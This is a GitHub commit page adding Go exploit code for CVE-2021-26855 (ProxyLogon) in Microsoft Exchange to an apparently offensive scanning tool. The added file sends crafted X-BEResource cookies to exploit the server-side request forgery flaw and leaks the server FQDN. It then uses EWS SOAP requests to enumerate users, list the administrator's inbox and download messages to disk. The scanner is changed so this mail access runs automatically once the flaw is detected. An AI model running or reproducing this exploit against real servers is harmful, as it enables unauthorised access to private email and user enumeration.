Skip to content

Commit

Permalink
add CVE_2021_26855 exp 2022-07-19 18:06:1658225182
Browse files Browse the repository at this point in the history
  • Loading branch information
x51pwn committed Jul 19, 2022
1 parent bcf4917 commit a3a553d
Show file tree
Hide file tree
Showing 9 changed files with 1,196 additions and 221 deletions.
1 change: 1 addition & 0 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ func init() {
var Wg sync.WaitGroup

func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
myConst.Wg = &Wg
defer func() {
log.Println("start close cache, StopCPUProfile... ")
Expand Down
2 changes: 2 additions & 0 deletions pkg/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -278,6 +278,8 @@ func doDir(config *embed.FS, s fs.DirEntry, szPath string) {
log.Println("doDir:", err)
}
}

// 初始化到开头
func Init2(config *embed.FS) {
szPath := "config"
log.Println("wait for init config files ... ")
Expand Down
4 changes: 4 additions & 0 deletions pocs_go/go_poc_check.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,10 @@ func POCcheck(wappalyzertechnologies []string, URL string, finalURL string, chec
s1 := ms.CheckCVE_2021_26855(hostname)
if "" != s1 {
technologies = append(technologies, s1)
a := ms.CheckExchange(&hostname)
if 0 < len(a) {
technologies = append(technologies, a...)
}
}
s1 = ms.GetExFQND(hostname)
if "" != s1 {
Expand Down
336 changes: 336 additions & 0 deletions pocs_go/ms/CVE-2021-26855_2.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,336 @@
package ms

import (
"bufio"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"regexp"
"strconv"
"strings"
"time"
)

//检测漏洞存在脚本
func Verify(targetUrl string) bool {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}

req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Cookie", "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
resp, _ := client.Do(req)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)

if strings.Contains(string(body), "NegotiateSecurityContext") {
return true
} else {
return false
}
}

//
//func append16_1(v []byte, val uint16) []byte {
// return append(v, byte(val), byte(val>>8))
//}
//
//func append32_1(v []byte, val uint16) []byte {
// return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
//}

//const (
// negotiateUnicode = 0x0001 // Text strings are in unicode
// negotiateOEM = 0x0002 // Text strings are in OEM
// requestTarget = 0x0004 // Server return its auth realm
// negotiateSign = 0x0010 // Request signature capability
// negotiateSeal = 0x0020 // Request confidentiality
// negotiateLMKey = 0x0080 // Generate session key
// negotiateNTLM = 0x0200 // NTLM authentication
// negotiateLocalCall = 0x4000 // client/server on same machine
// negotiateAlwaysSign = 0x8000 // Sign for all security levels
//)

//生成ntlm type1
//func Negotiate() []byte {
// var ret []byte
// flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
//
// ret = append(ret, "NTLMSSP\x00"...) // protocol
// ret = append32(ret, 1) // type
// ret = append32(ret, uint16(flags)) // flags
// ret = append16(ret, 0) // NT domain name length
// ret = append16(ret, 0) // NT domain name max length
// ret = append32(ret, 0) // NT domain name offset
// ret = append16(ret, 0) // local workstation name length
// ret = append16(ret, 0) // local workstation name max length
// ret = append32(ret, 0) // local workstation name offset
// ret = append16(ret, 0) // unknown name length
// ret = append16(ret, 0) // ...
// ret = append16(ret, 0x30) // unknown offset
// ret = append16(ret, 0) // unknown name length
// ret = append16(ret, 0) // ...
// ret = append16(ret, 0x30) // unknown offset
//
// return ret
//}

//利用ntlm type2 获取有效信息 fqdn
//func Ntlminfo(targetUrl string) (fqdn string, domain string) {
//
// //var fqdn string
//
// tr := &http.Transport{
// TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
// }
// client := &http.Client{Transport: tr}
//
// req, _ := http.NewRequest("GET", targetUrl, nil)
// req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
// req.Header.Add("Accept", "text/xml")
// resp, _ := client.Do(req)
//
// reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
// reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
// reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
// reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
// reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
// reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
//
// for _, values := range resp.Header {
// type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
// if type2 != "" {
// decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
// fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
// domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
// }
// }
// return
//}

func Postxml(targetUrl string, fqdn string, xmlcontent string) string {

//urlProxy, _ := url.Parse("http://127.0.0.1:8080")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
// Proxy: http.ProxyURL(urlProxy),
}
client := &http.Client{Transport: tr}

req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
req.Header.Add("Content-Type", "text/xml")
//fmt.Println(req)
resp2, _ := client.Do(req)
//defer resp2.Body.Close()
body2, _ := ioutil.ReadAll(resp2.Body)

return string(body2)
}

func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
//fmt.Println(userfile)
ufile, err := os.Open(userfile)
if err != nil {
fmt.Println("文件错误")
os.Exit(0)
}
defer ufile.Close()

fmt.Println("正确邮箱地址:\n")

br := bufio.NewReader(ufile)
for {
name, _, c := br.ReadLine()
if c == io.EOF {
fmt.Println("\n完成。")
break
}
if strings.Contains(string(name), "@") {
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name)))
} else {
fmt.Println(string(name))
}
} else {
address := fmt.Sprintf("%s@%s", string(name), domainneame)
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address))
} else {
fmt.Println(address)
}
}
time.Sleep(time.Duration(stime) * time.Second)
}
}

func makefile1(fileName string, conntent string) {

f, err := os.Create(fileName)
defer f.Close()
if err != nil {
fmt.Println(err.Error())
} else {
_, _ = f.Write([]byte(conntent))
}
}

func CheckExchange(host *string) []string {
var maddress string
filepath := "" // 选填,需要枚举的用户列表
stime := "1" // 选填,请求延迟时间
desfqnd := "" // 选填,需要指定 FQND 事填写
emailadd := "administrator" // 选填,指定目标
list := true // 选填,列出邮件列表
downl := false // 选填,下载邮件

targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host)
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
sleep_time, _ := strconv.Atoi(stime)

fmt.Println("检测漏洞存在中...")
aRst := []string{}
if Verify(targetUrl) == true {
aRst = append(aRst, fmt.Sprintf("发现漏洞 CVE-2021-26855: %s", targetUrl))
fmt.Println(aRst[len(aRst)-1:])
} else {
fmt.Println("漏洞不存在...END")
return aRst
}

mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>`

maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='inbox'>
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>`

download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="%s" ChangeKey="%s" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>`

fqndstr, domainstr := Ntlminfo(ewsUrl)

if "" != fqndstr {
aRst = append(aRst, fmt.Sprintf("目标 FQND 为: %s", fqndstr))
fmt.Println(aRst[len(aRst)-1:])
}
if filepath != "" {
Userenumerate(postUrl, fqndstr, mailnum, filepath, domainstr, sleep_time)
}

if desfqnd != "" {
fqndstr = desfqnd
}

if strings.Contains(emailadd, "@") {
maddress = emailadd
} else {
maddress = fmt.Sprintf("%s@%s", emailadd, domainstr)
}

str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
//fmt.Println(str)

if strings.Contains(str, maddress) {
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress))
} else if strings.Contains(str, "Success") {
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
aRst = append(aRst, fmt.Sprintf("用户 %s 邮箱中收件箱 Inbox 中邮件数量为: %d", maddress, fqndstr))
fmt.Println(aRst[len(aRst)-1:])
if list == true {
if mnum != "0" {
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))

reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)

id := reg_id.FindAllStringSubmatch(contents, -1)
key := reg_key.FindAllStringSubmatch(contents, -1)
subject := reg_sub.FindAllStringSubmatch(contents, -1)

for i := 0; i < 5; i++ {
fmt.Println("---------")
aRst = append(aRst, fmt.Sprintf("ID :%d\nItemId: %v\nkey: %v\n邮件标题:%s", i+1, id[i][1], key[i][1], subject[i][1]))
fmt.Println(aRst[len(aRst)-1:])
}

if downl == true {
for i := 0; i < 5; i++ {
fmt.Println("正在下载第 ", i, " 份邮件")
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
makefile1(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
}
fmt.Println("下载完成")
}

} else {
fmt.Println("目标邮箱无邮件!")
}
}
} else {
fmt.Println("默认 FQND 无效请更换其他服务器")
}
return aRst
}
Loading

0 comments on commit a3a553d

Please sign in to comment.